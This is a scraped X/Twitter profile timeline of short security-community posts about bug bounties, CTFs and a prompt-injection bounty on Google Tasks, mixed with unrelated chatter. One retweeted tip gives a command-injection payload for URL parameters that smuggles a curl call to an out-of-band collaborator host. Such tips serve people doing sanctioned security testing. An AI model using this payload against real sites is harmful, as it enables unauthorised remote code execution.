foo

107 posts

foo

foo

@foo125973

Katılım Ağustos 2025
65 Takip Edilen3 Takipçiler
京秋🍥
京秋🍥@jingqiu04·
陌生人 可以祝我生日快乐吗
京秋🍥 tweet media京秋🍥 tweet media
中文
4.5K
382
19.3K
434.4K
foo
foo@foo125973·
@darkshadow2bd But logically why would developer add RCE as a service here?
English
0
0
5
1.3K
DarkShadow
DarkShadow@darkshadow2bd·
?url= ❌SSRF, ✅RCE if you find a parameter which passing url then, before testing SSRF try to test RCE. 1. bypass: ?url=http://x"; [now add here your blind rce payload] 2. payload: curl${ IFS }burp-collab-link;# Join my BugBounty telegram channel: t.me/SehllSec
DarkShadow tweet mediaDarkShadow tweet media
English
4
76
531
22.2K
foo
foo@foo125973·
@medusa_0xf To support your point, how many bugs did you find with Claude so far? Could you make write-ups for them?
English
1
0
1
128
Medusa
Medusa@medusa_0xf·
This is you if you do bug hunting without Claude right now. 🫵
GIF
English
8
2
28
6.1K
es3n1n
es3n1n@es3n1n·
i need to find a new obsession now that ctfs are deadge
English
22
7
180
10.2K
foo
foo@foo125973·
@weezerOSINT It's just Wednesday in cybersecurity man
English
0
0
1
83
SaltyAom
SaltyAom@saltyAom·
I don't need a robot's robot art Don't need a robot's robot song Don't need a robot's robot word Don't need a robot's love
English
4
0
52
2.9K
TraceX0
TraceX0@TraceX0_0·
FIRST BOUNTY UNLOCKED 😭🔥 Started my bug bounty journey with a HIGH severity report… still feels unreal 🫡 Months of NA, duplicates, failures & grinding finally paid off 🙏 God’s plan really different sometimes. @tsxninja200 @defronixacademy @thehacktivator #bugbounty
TraceX0 tweet media
English
22
5
297
10.2K
foo
foo@foo125973·
@galnagli It's running nmap
English
0
0
0
100
Nagli
Nagli@galnagli·
One critical a day keeps the doctor away
Nagli tweet media
English
18
7
240
18.6K
LiveOverflow 🔴
LiveOverflow 🔴@LiveOverflow·
my brain after one year of vibe coding
LiveOverflow 🔴 tweet media
English
15
15
706
32.1K
foo
foo@foo125973·
@Behi_Sec Ok. Changing tasks name without confirmation But attacker needs to be in the same space to able to inject his task first, and renaming tasks is annoying but doesn't sound critical. Am I missing something, where's that 15k$ impact?
English
2
0
0
47
Behi
Behi@Behi_Sec·
That's it for the thread. Hope you enjoyed it. Feel free to ask if you have any questions. And follow me for more content like this: @Behi_Sec
English
4
0
29
2.6K
Behi
Behi@Behi_Sec·
A few months ago, I found a Prompt Injection vulnerability on Google Tasks. It was simple, yet tricky. Google rewarded me with a $15,000 bounty for it. Here's the full story:
English
13
63
590
27.2K
foo retweetledi
machuuu
machuuu@machuuu68·
its so hot nowadays! ☀️🔥🔥🔥
machuuu tweet media
English
19
951
11.5K
98.4K
Rebane
Rebane@rebane2001·
u can make that shit by hand in like 10 minutes
JNS@_devJNS

English
89
235
5.5K
257K